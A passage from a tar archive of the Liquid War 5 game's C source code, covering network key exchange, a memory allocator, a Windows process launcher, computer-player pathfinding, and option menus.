FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : volume.h */ /* contenu : reglage du volume du son */ /* date de modif : 3 mai 98 */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_VOLUME #define LIQUID_WAR_INCLUDE_VOLUME /*==================================================================*/ /* types */ /*==================================================================*/ /*==================================================================*/ /* variables globales */ /*==================================================================*/ /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ int sound_options (void); #endif liquidwar-5.6.5/src/keyexch.c0000664000372000037200000001614113407756104015537 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : keyexch.c */ /* content : code to exchange key presses with the server */ /* last update : June 24th 2001 */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include "netkey.h" #include "keyexch.h" #include "log.h" /*==================================================================*/ /* defines */ /*==================================================================*/ #define LW_KEYEXCH_LAG_LOWER_LIMIT 2 #define LW_KEYEXCH_LAG_UPPER_LIMIT 5 /*==================================================================*/ /* variables globales */ /*==================================================================*/ int LW_KEYEXCH_SOCK = -1; /*==================================================================*/ /* static functions */ /*==================================================================*/ static int send_keys (int *sock, CURSOR * cursors, unsigned int checksum); static int recv_keys (int *sock, CURSOR * cursors); /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ static int send_keys (int *sock, CURSOR * cursors, unsigned int checksum) { int result = 0; int i; LW_NETKEY netkey; lw_netkey_reset (&netkey); for (i = 0; i < NB_TEAMS; ++i) { /* * We send informations about cursors who are not network * controlled only. */ if (!cursors[i].from_network) { netkey.key_states[i] = cursors[i].key_state; } } /* * If there are not enough keys in the buffer, we ask the server * to increase the lag */ if (!lw_netkey_peek (sock, LW_KEYEXCH_LAG_LOWER_LIMIT)) { netkey.cmd = LW_NETKEY_CMD_INCREASE_LAG; } /* * If there are not enough keys in the buffer, we ask the server * to increase the lag */ if (lw_netkey_peek (sock, LW_KEYEXCH_LAG_UPPER_LIMIT)) { netkey.cmd = LW_NETKEY_CMD_DECREASE_LAG; } /* * Checksum which will help the server to control things and * detect consistency problems. */ netkey.checksum = checksum; result = lw_netkey_send (sock, &netkey); return result; } /*------------------------------------------------------------------*/ static int recv_keys (int *sock, CURSOR * cursors) { int result = 0; int i; LW_NETKEY netkey; result = lw_netkey_recv (sock, &netkey); for (i = 0; i < NB_TEAMS; ++i) { /* * The informations is retrieved from the network for * _every_ cursor_ , including those who are not network * managed. In fact, we just wait for the server to send * back the information we have sent to him a few game * cycles before. */ cursors[i].key_state = netkey.key_states[i]; } if (result) { /* * Now we check for checksum errors */ if (!netkey.checksum) { log_println_str ("Error: incorrect checksum, the game is broken, or someone is cheating"); } } return result; } /*------------------------------------------------------------------*/ int lw_keyexch_flush (CURSOR * cursors, unsigned int checksum) { int result = 1; /* * It's important to send keys before we receive them */ result = result && send_keys (&LW_KEYEXCH_SOCK, cursors, checksum); result = result && recv_keys (&LW_KEYEXCH_SOCK, cursors); return result; } liquidwar-5.6.5/src/bigdata.c0000664000372000037200000001764413407756104015503 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : bigdata.c */ /* contenu : gestion de la "grosse" zone de memoire */ /* date de modif : 3 mai 98 */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include #include #include "alleg2.h" #include "bigdata.h" #include "exit.h" #include "log.h" #include "startup.h" #include "init.h" /*==================================================================*/ /* variables globales */ /*==================================================================*/ #define BIG_DATA_NUMBER 64 #define MEMORY_TO_LEAVE 1024 static void *BIG_DATA_PTR = 0; static int BIG_DATA_SIZE = 0; static int BIG_DATA_BOTTOM = 0; static int BIG_DATA_TOP = BIG_DATA_NUMBER - 1; static int BIG_DATA_TABLE[BIG_DATA_NUMBER]; /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ /* mecanisme d'allocation des grandes zones */ /*------------------------------------------------------------------*/ /*------------------------------------------------------------------*/ void reset_big_data (void) { BIG_DATA_BOTTOM = 0; BIG_DATA_TOP = BIG_DATA_NUMBER - 1; BIG_DATA_TABLE[BIG_DATA_BOTTOM] = 0; BIG_DATA_TABLE[BIG_DATA_TOP] = BIG_DATA_SIZE; if (BIG_DATA_PTR) { memset (BIG_DATA_PTR, 0, BIG_DATA_SIZE); } } /*------------------------------------------------------------------*/ void * malloc_big_data (void) { int nb_try = 0; log_print_str ("Allocating "); log_print_int (STARTUP_BIG_DATA); log_print_str (" Mb"); log_flush (); if (BIG_DATA_PTR) { free (BIG_DATA_PTR); BIG_DATA_PTR = NULL; } STARTUP_BIG_DATA++; while (STARTUP_BIG_DATA >= 2 && BIG_DATA_PTR == NULL && (STARTUP_AUTO || nb_try == 0)) { nb_try++; STARTUP_BIG_DATA--; BIG_DATA_SIZE = STARTUP_BIG_DATA * 1024 * 1024; BIG_DATA_PTR = malloc (BIG_DATA_SIZE); } if (nb_try > 1) { log_print_str ("Last try with "); log_print_int (STARTUP_BIG_DATA); log_print_str (" Mb"); } if (BIG_DATA_PTR == NULL) BIG_DATA_SIZE = 0; display_success (BIG_DATA_SIZE); reset_big_data (); return (BIG_DATA_PTR); } /*------------------------------------------------------------------*/ void * malloc_in_big_data_bottom (int size) { char *ptr; int bottom, top, new_offset; bottom = BIG_DATA_TABLE[BIG_DATA_BOTTOM]; top = BIG_DATA_TABLE[BIG_DATA_TOP]; new_offset = ((bottom + size + 15) / 16) * 16; if (new_offset < top && BIG_DATA_BOTTOM < (BIG_DATA_TOP - 1)) { ptr = BIG_DATA_PTR; ptr += bottom; BIG_DATA_TABLE[++BIG_DATA_BOTTOM] = new_offset; /* * This is theorically not needed, but in case there's a * bug in the assembly code for instance, this will increase * the chances that things behave the same on every computer */ memset (ptr, 0, size); } else ptr = NULL; return ptr; } /*------------------------------------------------------------------*/ void * malloc_in_big_data_top (int size) { char *ptr; int bottom, top, new_offset; bottom = BIG_DATA_TABLE[BIG_DATA_BOTTOM]; top = BIG_DATA_TABLE[BIG_DATA_TOP]; new_offset = ((top - size) / 16) * 16; if (new_offset >= bottom && BIG_DATA_BOTTOM < (BIG_DATA_TOP - 1)) { ptr = BIG_DATA_PTR; ptr += new_offset; BIG_DATA_TABLE[--BIG_DATA_TOP] = new_offset; /* * This is theorically not needed, but in case there's a * bug in the assembly code for instance, this will increase * the chances that things behave the same on every computer */ memset (ptr, 0, size); } else ptr = NULL; return ptr; } /*------------------------------------------------------------------*/ void free_last_big_data_bottom (void) { if (BIG_DATA_BOTTOM > 0) BIG_DATA_BOTTOM--; } /*------------------------------------------------------------------*/ void free_last_big_data_top (void) { if (BIG_DATA_TOP < BIG_DATA_NUMBER - 1) BIG_DATA_TOP++; } /*------------------------------------------------------------------*/ int check_free_memory (void) { BITMAP *result; result = my_create_bitmap (MEMORY_TO_LEAVE / 2, 1024); if (result) destroy_bitmap (result); return result != NULL; } liquidwar-5.6.5/src/advanced.h0000664000372000037200000001026713407756104015654 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : advanced.h */ /* contenu : choix des options de jeu avancees */ /* date de modif : 3 mai 98 */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_ADVANCED #define LIQUID_WAR_INCLUDE_ADVANCED /*==================================================================*/ /* types */ /*==================================================================*/ /*==================================================================*/ /* variables globales */ /*==================================================================*/ /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ int advanced_options (void); #endif liquidwar-5.6.5/src/execw32.c0000664000372000037200000001566613407756104015372 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : execunix.c */ /* content : code used to launch external programs on Windows */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #ifdef WIN32 #include #endif #include "execgen.h" #include "macro.h" #include "log.h" /*==================================================================*/ /* constants */ /*==================================================================*/ #define LW_EXEC_ERROR_SIZE 1000 /*==================================================================*/ /* static functions */ /*==================================================================*/ /*==================================================================*/ /* global functions */ /*==================================================================*/ /*------------------------------------------------------------------*/ /* * Launches a command line in another process. */ int lw_exec_cmd (char *cmd) { int result = 0; BOOL create_process_ret; STARTUPINFO startup_info; PROCESS_INFORMATION process_info; memset (&startup_info, 0, sizeof (STARTUPINFO)); memset (&process_info, 0, sizeof (PROCESS_INFORMATION)); startup_info.cb = sizeof (STARTUPINFO); create_process_ret = CreateProcess (NULL, //lpApplicationName cmd, //lpCommandLine NULL, //lpProcessAttributes NULL, //lpThreadAttributes FALSE, //bInheritHandles 0, //dwCreationFlags NULL, //lpEnvironment NULL, //lpCurrentDirectory &startup_info, //lpStartupInfo &process_info //lpProcessInformation ); if (create_process_ret == 0) { int error_int; char error_str[LW_EXEC_ERROR_SIZE]; int error_len; int crlf_found; LPVOID message_buf; error_int = (int) GetLastError (); if (FormatMessage (FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, error_int, MAKELANGID (LANG_NEUTRAL, SUBLANG_DEFAULT), // Default language (LPTSTR) & message_buf, 0, NULL)) { LW_MACRO_SPRINTF2 (error_str, "%d: \"%s", error_int, (char *) message_buf); LocalFree (message_buf); /* * Now we trim ending CR-LF chars */ crlf_found = 1; while (crlf_found) { error_len = strlen (error_str); crlf_found = 0; if (error_len > 1) { if (error_str[error_len - 1] == '\n' || error_str[error_len - 1] == '\r') { error_str[error_len - 1] = '\0'; crlf_found = 1; } } } LW_MACRO_STRCAT (error_str, "\""); } else { LW_MACRO_SPRINTF1 (error_str, "%d", error_int); } log_print_str ("Can't execute \""); log_print_str (cmd); log_print_str ("\", error "); log_println_str (error_str); } else { result = 1; } return result; } liquidwar-5.6.5/src/autoplay.c0000664000372000037200000002432213407756104015735 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : autoplay.c */ /* contenu : l'ordino joue tout seul */ /* date de modif : 3 mai 98 */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include "army.h" #include "autoplay.h" #include "cursor.h" #include "fighter.h" #include "mesh.h" #include "move.h" #include "time.h" #include "config.h" /*==================================================================*/ /* constants */ /*==================================================================*/ #define LW_AUTOPLAY_RANDOM_LIMIT 10000 /*==================================================================*/ /* variables globales */ /*==================================================================*/ static char COMPUTER_PATH_KEYS[NB_TEAMS][COMPUTER_PATH_MAX]; static int COMPUTER_PATH_SIZE[NB_TEAMS]; static int COMPUTER_PATH_WAIT[NB_TEAMS]; /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ static void calculate_computer_path (int dst_x, int dst_y, int cursor) { int team, src_x, src_y, pos, dir, x, y, dx, dy; MESH *path_mesh, *src_mesh; int sens, start; int table; table = GLOBAL_CLOCK % 2; team = CURRENT_CURSOR[cursor].team; src_x = CURRENT_CURSOR[cursor].x; src_y = CURRENT_CURSOR[cursor].y; src_mesh = CURRENT_AREA[src_y * CURRENT_AREA_W + src_x].mesh; x = dst_x; y = dst_y; path_mesh = CURRENT_AREA[y * CURRENT_AREA_W + x].mesh; pos = sens = start = 0; while (pos < COMPUTER_PATH_MAX && path_mesh != 0 && path_mesh != src_mesh) { dir = get_main_dir (path_mesh, team, sens, start); x += (dx = FIGHTER_MOVE_X[table][dir][0]); y += (dy = FIGHTER_MOVE_Y[table][dir][0]); path_mesh = CURRENT_AREA[y * CURRENT_AREA_W + x].mesh; if (path_mesh) { COMPUTER_PATH_KEYS[cursor][pos] = 0; if (dy > 0) COMPUTER_PATH_KEYS[cursor][pos] += CURSOR_KEY_UP; if (dx < 0) COMPUTER_PATH_KEYS[cursor][pos] += CURSOR_KEY_RIGHT; if (dy < 0) COMPUTER_PATH_KEYS[cursor][pos] += CURSOR_KEY_DOWN; if (dx > 0) COMPUTER_PATH_KEYS[cursor][pos] += CURSOR_KEY_LEFT; pos++; } start++; if (start == NB_DIRS) { start = 0; sens = !sens; } } if (path_mesh == src_mesh) { while (pos < COMPUTER_PATH_MAX && (x != src_x || y != src_y)) { COMPUTER_PATH_KEYS[cursor][pos] = 0; if (y < src_y) { y++; COMPUTER_PATH_KEYS[cursor][pos] += CURSOR_KEY_UP; } if (x > src_x) { x--; COMPUTER_PATH_KEYS[cursor][pos] += CURSOR_KEY_RIGHT; } if (y > src_y) { y--; COMPUTER_PATH_KEYS[cursor][pos] += CURSOR_KEY_DOWN; } if (x < src_x) { x++; COMPUTER_PATH_KEYS[cursor][pos] += CURSOR_KEY_LEFT; } pos++; } COMPUTER_PATH_SIZE[cursor] = pos; } else COMPUTER_PATH_SIZE[cursor] = 0; COMPUTER_PATH_WAIT[cursor] = COMPUTER_PATH_SIZE[cursor]; } /*------------------------------------------------------------------*/ void reset_computer_path (void) { int i; for (i = 0; i < NB_TEAMS; ++i) { COMPUTER_PATH_SIZE[i] = 0; COMPUTER_PATH_WAIT[i] = 0; } } /*------------------------------------------------------------------*/ static int random_free_xy_by_control_type (int *x, int *y, int team, int control_type) { int i, found = 0, foundable = 0; int control_type_array[NB_TEAMS]; int random_limit; for (i = 0; i < NB_TEAMS; ++i) { control_type_array[i] = CONFIG_CONTROL_TYPE_OFF; } for (i = 0; i < NB_TEAMS; ++i) { if ((CURRENT_CURSOR[i].control_type == control_type || control_type == CONFIG_CONTROL_TYPE_OFF) && CURRENT_CURSOR[i].active) { control_type_array[CURRENT_CURSOR[i].team] = control_type; } } for (i = 0; i < CURRENT_ARMY_SIZE && !foundable; ++i) { foundable |= ((CURRENT_ARMY[i].team != team) && (control_type_array[(int) (CURRENT_ARMY[i].team)] == control_type || control_type == CONFIG_CONTROL_TYPE_OFF)); } if (foundable) { random_limit = 0; while ((!found) && random_limit < LW_AUTOPLAY_RANDOM_LIMIT) { i = random () % CURRENT_ARMY_SIZE; found = ((CURRENT_ARMY[i].team != team) && (control_type_array[(int) (CURRENT_ARMY[i].team)] == control_type || control_type == CONFIG_CONTROL_TYPE_OFF)); random_limit++; } } if (!found) { /* * OK, we found nothing, we a default random value */ i = random () % CURRENT_ARMY_SIZE; } (*x) = CURRENT_ARMY[i].x; (*y) = CURRENT_ARMY[i].y; return found; } /*------------------------------------------------------------------*/ static void random_free_xy_different_team (int *x, int *y, int team) { int control_type = 0; switch (LW_CONFIG_CURRENT_RULES.cpu_vs_human) { case CONFIG_CPU_VS_HUMAN_ALWAYS: control_type = CONFIG_CONTROL_TYPE_HUMAN; break; case CONFIG_CPU_VS_HUMAN_NEVER: control_type = CONFIG_CONTROL_TYPE_CPU; break; default: control_type = CONFIG_CONTROL_TYPE_OFF; break; } if (!random_free_xy_by_control_type (x, y, team, control_type)) { /* * We found nobody in the right category, we fallback * on the the default search. */ random_free_xy_by_control_type (x, y, team, CONFIG_CONTROL_TYPE_OFF); } } /*------------------------------------------------------------------*/ char get_computer_next_move (int cursor) { FIGHTER *f; char key_info; int x, y; int meme_equipe, team; if (COMPUTER_PATH_SIZE[cursor] > 0) { key_info = COMPUTER_PATH_KEYS[cursor][--COMPUTER_PATH_SIZE[cursor]]; } else { key_info = 0; team = CURRENT_CURSOR[cursor].team; f = CURRENT_AREA[CURRENT_CURSOR[cursor].y * CURRENT_AREA_W + CURRENT_CURSOR[cursor].x].fighter; if (f) meme_equipe = (f->team == team); else meme_equipe = 1; if ((--COMPUTER_PATH_WAIT[cursor]) < 0 || meme_equipe) { random_free_xy_different_team (&x, &y, team); calculate_computer_path (x, y, cursor); } } return key_info; } liquidwar-5.6.5/src/sock2gen.h0000664000372000037200000001117713407756104015623 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : sock2gen.h */ /* content : wrapper functions which differ on client/server */ /* last update : July 2md 2001 */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_SOCK2GEN #define LIQUID_WAR_INCLUDE_SOCK2GEN /*==================================================================*/ /* types */ /*==================================================================*/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include "sockgen.h" /*==================================================================*/ /* variables globales */ /*==================================================================*/ /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ int lw_sock_peek (int *sock, int len); int lw_sock_send_str (int *sock, char *str); int lw_sock_recv_str (int *sock, char *str); int lw_sock_send_buffer (int *sock, char *buffer, int len); int lw_sock_recv_buffer (int *sock, char *buffer, int len); #endif liquidwar-5.6.5/src/parser.h0000664000372000037200000001056113407756104015400 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : parser.h */ /* contenu : lecture des parametres de ligne de commande */ /* date de modif : 3 mai 98 */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_PARSER #define LIQUID_WAR_INCLUDE_PARSER /*==================================================================*/ /* includes */ /*==================================================================*/ /*==================================================================*/ /* variables globales */ /*==================================================================*/ extern char *EXECUTABLE_NAME; /*==================================================================*/ /* fonctions */ /*==================================================================*/ void read_command_line (int argc, char **argv); int exist_argument (char *str); int exist_argument_value (char *str); char *get_argument_str (char *str); int get_argument_int (char *str); #endif liquidwar-5.6.5/src/advanced.c0000664000372000037200000002050313407756104015641 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : advanced.c */ /* contenu : choix des options de jeu avancees */ /* date de modif : 3 mai 98 */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include "advanced.h" #include "config.h" #include "dialog.h" #include "disk.h" #include "help.h" #include "time.h" #include "menu.h" #include "log.h" #include "lang.h" /*==================================================================*/ /* variables globales */ /*==================================================================*/ /*------------------------------------------------------------------*/ static char * get_asm_algorithm_str (void) { if (CONFIG_ASM_ALGORITHM) return (lw_lang_string (LW_LANG_STRING_ADVANCED_ASSEMBLY)); else return (lw_lang_string (LW_LANG_STRING_ADVANCED_STANDARDC)); } /*------------------------------------------------------------------*/ static char * get_cpu_vs_human_str (void) { char *result = ""; switch (CONFIG_CPU_VS_HUMAN) { case CONFIG_CPU_VS_HUMAN_ALWAYS: result = (lw_lang_string (LW_LANG_STRING_ADVANCED_ALWAYS)); break; case CONFIG_CPU_VS_HUMAN_NEVER: result = (lw_lang_string (LW_LANG_STRING_ADVANCED_NEVER)); break; default: result = (lw_lang_string (LW_LANG_STRING_ADVANCED_RANDOM)); break; } return result; } /*------------------------------------------------------------------*/ static char * get_allow_network_bots_str (void) { if (CONFIG_ALLOW_NETWORK_BOTS) return (lw_lang_string (LW_LANG_STRING_ADVANCED_YES)); else return (lw_lang_string (LW_LANG_STRING_ADVANCED_NO)); } /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ int advanced_options (void) { int *temp; DIALOG d[21]; int i, retour = 0, choix = 4; static int y_pos[8] = { 0, 1, 2, 3, 4, 5, 6, 7 }; memset (d, 0, sizeof (d)); for (i = 0; i < 8; ++i) { standard_button (d + i + 4, 0, y_pos[i], 2, 8); d[i + 4].proc = my_textbox_proc; } for (i = 0; i < 8; ++i) { standard_button (d + i + 12, 1, y_pos[i], 2, 8); d[i + 12].proc = my_slider_proc; } d[17].proc = d[18].proc = d[19].proc = my_button_proc; quick_buttons (d); d[4].dp = lw_lang_string (LW_LANG_STRING_ADVANCED_ATTACK); d[5].dp = lw_lang_string (LW_LANG_STRING_ADVANCED_DEFENSE); d[6].dp = lw_lang_string 